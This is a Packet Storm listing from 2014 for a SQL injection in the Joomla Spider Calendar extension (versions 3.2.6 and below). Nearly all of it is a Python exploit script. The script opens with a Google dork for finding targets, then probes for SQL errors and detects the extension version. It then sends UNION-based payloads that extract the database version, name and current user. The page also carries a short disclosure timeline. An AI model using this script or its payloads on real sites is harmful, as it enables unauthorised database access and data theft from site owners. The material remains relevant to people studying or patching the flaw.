Joomla Spider Calendar 3.2.6 SQL Injection

2014-09-08T00:00:00
ID PACKETSTORM:128189
Type packetstorm
Reporter Claudio Viviani
Modified 2014-09-08T00:00:00

Description

                                        
                                            `#!/usr/bin/env python  
#  
#  
# Exploit Title : Joomla Spider Calendar <= 3.2.6 SQL Injection  
#  
# Exploit Author : Claudio Viviani  
#  
# Vendor Homepage : http://web-dorado.com/  
#  
# Software Link : http://extensions.joomla.org/extensions/calendars-a-events/events/events-calendars/22329  
#  
# Dork Google: inurl:option=com_spidercalendar  
#  
# Date : 2014-08-31  
#  
# Tested on : Windows 7 / Mozilla Firefox  
# Linux / Mozilla Firefox  
#  
#  
#  
######################  
#  
# PoC Exploit:  
#  
# http://localhost/joomla/index.php?option=com_spidercalendar&calendar_id=1 [SQLi]  
#  
#  
# "calendar_id" and "calendar" variables are not sanitized.  
#   
#  
# Vulnerability Disclosure Timeline:  
#  
# 2014-08-31: Discovered vulnerability  
# 2014-09-04: Vendor Notification  
# 2014-09-05: Vendor Response/Feedback   
# 2014-09-05: Vendor Fix/Patch   
# 2014-09-05: Public Disclosure  
  
import codecs  
import httplib  
import re  
import sys  
import socket  
import optparse  
  
banner = """  
  
$$$$$\ $$\ $$$$$$\ $$\ $$\   
\__$$ | $$ | $$ __$$\ \__| $$ |   
$$ | $$$$$$\ $$$$$$\ $$$$$$\$$$$\ $$ | $$$$$$\ $$ / \__| $$$$$$\ $$\ $$$$$$$ | $$$$$$\ $$$$$$\   
$$ |$$ __$$\ $$ __$$\ $$ _$$ _$$\ $$ | \____$$\ \$$$$$$\ $$ __$$\ $$ |$$ __$$ |$$ __$$\ $$ __$$\   
$$\ $$ |$$ / $$ |$$ / $$ |$$ / $$ / $$ |$$ | $$$$$$$ | \____$$\ $$ / $$ |$$ |$$ / $$ |$$$$$$$$ |$$ | \__|   
$$ | $$ |$$ | $$ |$$ | $$ |$$ | $$ | $$ |$$ |$$ __$$ | $$\ $$ |$$ | $$ |$$ |$$ | $$ |$$ ____|$$ |   
\$$$$$$ |\$$$$$$ |\$$$$$$ |$$ | $$ | $$ |$$ |\$$$$$$$ | \$$$$$$ |$$$$$$$ |$$ |\$$$$$$$ |\$$$$$$$\ $$ |   
\______/ \______/ \______/ \__| \__| \__|\__| \_______| \______/ $$ ____/ \__| \_______| \_______|\__|   
$$ |   
$$ |   
\__|   
  
$$$$$$\ $$\ $$\ $$$$$$\ $$$$$$\ $$$$$$\   
$$ __$$\ $$ | $$ | $$ ___$$\ $$ __$$\ $$ __$$\   
$$ / \__| $$$$$$\ $$ | $$$$$$\ $$$$$$$\ $$$$$$$ | $$$$$$\ $$$$$$\ \_/ $$ | \__/ $$ | $$ / \__|  
$$ | \____$$\ $$ |$$ __$$\ $$ __$$\ $$ __$$ | \____$$\ $$ __$$\ $$$$$ / $$$$$$ | $$$$$$$\   
$$ | $$$$$$$ |$$ |$$$$$$$$ |$$ | $$ |$$ / $$ | $$$$$$$ |$$ | \__| \___$$\ $$ ____/ $$ __$$\   
$$ | $$\ $$ __$$ |$$ |$$ ____|$$ | $$ |$$ | $$ |$$ __$$ |$$ | $$\ $$ | $$ | $$ / $$ |  
\$$$$$$ |\$$$$$$$ |$$ |\$$$$$$$\ $$ | $$ |\$$$$$$$ |\$$$$$$$ |$$ | \$$$$$$ |$$\ $$$$$$$$\ $$\ $$$$$$ |  
\______/ \_______|\__| \_______|\__| \__| \_______| \_______|\__| \______/ \__|\________|\__|\______/   
  
j00ml4 Spid3r C4l3nd4r >= 2.x <= 3.2.6 SQLi  
  
Written by:  
  
Claudio Viviani  
  
http://www.homelab.it  
  
info@homelab.it  
homelabit@protonmail.ch  
  
https://www.facebook.com/homelabit  
https://twitter.com/homelabit  
https://plus.google.com/+HomelabIt1/  
https://www.youtube.com/channel/UCqqmSdMqf_exicCe_DjlBww  
  
"""  
  
C0mm4nds = dict()  
C0mm4nds['DB VERS'] = 'VERSION'  
C0mm4nds['DB NAME'] = 'DATABASE'  
C0mm4nds['DB USER'] = 'CURRENT_USER'  
  
com_spidercalendar = "index.php?option=com_spidercalendar&calendar_id=1"  
ver_spidercalendar = "administrator/components/com_spidercalendar/spidercalendar.xml"  
vuln = 0  
  
def cmdMySQL(cmd):  
SqlInjList = [  
# SQLi Spider Calendar 2.x  
'%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',  
# SQLi Spider Calendar 3.0  
'%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',  
# SQLi Spider Calendar 3.2.x  
'%20UNION%20ALL%20SELECT%20NULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CCONCAT%280x68306d336c34623174%2CIFNULL%28CAST%28'+cmd+'%28%29%20AS%20CHAR%29%2C0x20%29%2C0x743162346c336d3068%29%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL%23',  
]  
return SqlInjList  
  
def checkProtocol(pr):  
  
parsedHost = ""  
PORT = m_oOptions.port  
  
if pr[0:8] == "https://":  
parsedHost = pr[8:]  
  
if parsedHost.endswith("/"):  
parsedHost = parsedHost.replace("/","")  
if PORT == 0:  
PORT = 443  
  
PROTO = httplib.HTTPSConnection(parsedHost, PORT)  
  
elif pr[0:7] == "http://":  
parsedHost = pr[7:]  
if parsedHost.endswith("/"):  
parsedHost = parsedHost.replace("/","")  
if PORT == 0:  
PORT = 80  
  
PROTO = httplib.HTTPConnection(parsedHost, PORT)  
  
else:  
parsedHost = pr  
  
if parsedHost.endswith("/"):  
parsedHost = parsedHost.replace("/","")  
if PORT == 0:  
PORT = 80  
  
PROTO = httplib.HTTPConnection(parsedHost, PORT)  
  
return PROTO, parsedHost  
  
def connection(addr, url_string):  
  
parsedHost = checkProtocol(addr)[1]  
PROTO = checkProtocol(addr)[0]  
try:  
socket.gethostbyname(parsedHost)  
  
except socket.gaierror:  
print 'Hostname could not be resolved. Exiting'  
sys.exit()  
  
connection_req = checkProtocol(addr)[0]  
  
try:  
connection_req.request('GET', url_string)  
except socket.error:  
print('Connection Error')  
sys.exit(1)  
  
response = connection_req.getresponse()  
reader = codecs.getreader("utf-8")(response)  
  
return {'response':response, 'reader':reader}  
  
  
if __name__ == '__main__':  
m_oOpts = optparse.OptionParser("%prog -H http[s]://Host_or_IP [-b, --base base_dir] [-p, --port PORT]")  
m_oOpts.add_option('--host', '-H', action='store', type='string',  
help='The address of the host running Spider Calendar extension(required)')  
m_oOpts.add_option('--base', '-b', action='store', type='string', default="/",  
help='base dir joomla installation, default "/")')  
m_oOpts.add_option('--port', '-p', action='store', type='int', default=0,  
help='The port on which the daemon is running (default 80)')  
  
m_oOptions, remainder = m_oOpts.parse_args()  
m_nHost = m_oOptions.host  
m_nPort = m_oOptions.port  
m_nBase = m_oOptions.base  
  
if not m_nHost:  
print(banner)   
print m_oOpts.format_help()  
sys.exit(1)  
  
print(banner)  
  
if m_nBase != "/":  
if m_nBase[0] == "/":  
m_nBase = m_nBase[1:]  
if m_nBase[-1] == "/":  
m_nBase = m_nBase[:-1]  
else:  
if m_nBase[-1] == "/":  
m_nBase = m_nBase[:-1]  
m_nBase = '/'+m_nBase+'/'  
  
# Start connection to host for Joomla Spider Calendar vulnerability  
response = connection(m_nHost, m_nBase+com_spidercalendar+'%27').values()[0]  
reader = connection(m_nHost, m_nBase+com_spidercalendar+'%27').values()[1]  
# Read connection code number  
getcode = response.status  
  
print("[+] Searching for Joomla Spider Calendar vulnerability...")  
print("[+]")  
  
if getcode != 404:  
for lines in reader:  
if not lines.find("You have an error in your SQL syntax;") == -1:  
print("[!] Boolean SQL injection vulnerability FOUND!")  
print("[+]")  
print("[+] Detection version in progress....")  
print("[+]")  
  
try:  
response = connection(m_nHost, m_nBase+ver_spidercalendar).values()[0]  
reader = connection(m_nHost, m_nBase+ver_spidercalendar).values()[1]  
getcode = response.status  
if getcode != 404:  
for line_version in reader:  
if not line_version.find("<version>") == -1:  
VER = re.compile('>(.*?)<').search(line_version).group(1)  
VER_REP = VER.replace(".","")  
if int(VER_REP[0]) == 1 or int(VER_REP) > 326:  
print("[X] VERSION: "+VER)  
print("[X] Joomla Spider Calendar <= 1 or >= 3.2.7 are not vulnerable")  
sys.exit(1)  
elif int(VER_REP[0]) == 2:  
print("[+] EXTENSION VERSION: "+VER)  
print("[+]")  
for cmddesc, cmdsqli in C0mm4nds.items():  
try:  
response = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[0]).values()[0]  
reader = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[0]).values()[1]  
getcode = response.status  
if getcode != 404:  
for line_response in reader:  
if not line_response.find("h0m3l4b1t") == -1:  
MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1)  
if vuln == 0:  
print("[!] "+m_nHost+" VULNERABLE!!!")  
print("[+]")  
print("[!] "+cmddesc+" : "+MYSQL_VER)  
vuln = 1  
except socket.error:  
print('[X] Connection was lost please retry')  
sys.exit(1)  
elif int(VER_REP) == 30:  
print("[+] EXTENSION VERSION: "+VER)  
print("[+]")  
for cmddesc, cmdsqli in C0mm4nds.items():  
try:  
response = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[1]).values()[0]  
reader = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[1]).values()[1]  
getcode = response.status  
if getcode != 404:  
for line_response in reader:  
if not line_response.find("h0m3l4b1t") == -1:  
MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1)  
if vuln == 0:  
print("[!] "+m_nHost+" VULNERABLE!!!")  
print("[+]")  
print("[!] "+cmddesc+" : "+MYSQL_VER)  
vuln = 1  
except socket.error:  
print('[X] Connection was lost please retry')  
sys.exit(1)  
elif int(VER_REP[0]) == 3:  
print("[+] EXTENSION VERSION: "+VER)  
print("[+]")  
for cmddesc, cmdsqli in C0mm4nds.items():  
try:  
response = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[2]).values()[0]  
reader = connection(m_nHost, m_nBase+com_spidercalendar+cmdMySQL(cmdsqli)[2]).values()[1]  
getcode = response.status  
if getcode != 404:  
for line_response in reader:  
if not line_response.find("h0m3l4b1t") == -1:  
MYSQL_VER = re.compile('h0m3l4b1t(.*?)t1b4l3m0h').search(line_response).group(1)  
if vuln == 0:  
print("[!] "+m_nHost+" VULNERABLE!!!")  
print("[+]")  
print("[!] "+cmddesc+" : "+MYSQL_VER)  
vuln = 1  
except socket.error:  
print('[X] Connection was lost please retry')  
sys.exit(1)  
else:  
print("[-] EXTENSION VERSION: Unknown :(")  
sys.exit(0)  
  
if vuln == 0:  
# VERSION NOT VULNERABLE :(  
print("[X] Spider Calendar patched or SQLi blocked by Web Application Firewall-")  
sys.exit(1)  
else:  
sys.exit(0)  
except socket.error:  
print('[X] Connection was lost please retry')  
sys.exit(1)  
  
# NO SQL BLIND DETECTED  
print("[X] Spider Calendar patched or SQLi blocked by Web Application Firewall")  
sys.exit(1)  
else:  
print('[X] URL "'+m_nHost+m_nBase+com_spidercalendar+'" NOT FOUND')  
sys.exit(1)  
`